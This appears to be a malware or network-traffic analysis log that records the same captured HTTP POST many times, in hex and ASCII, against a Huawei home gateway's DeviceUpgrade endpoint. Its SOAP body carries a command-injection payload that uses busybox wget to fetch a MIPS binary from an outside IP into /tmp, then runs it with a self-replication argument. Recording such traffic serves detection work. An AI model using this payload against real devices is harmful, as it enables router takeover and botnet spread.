6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 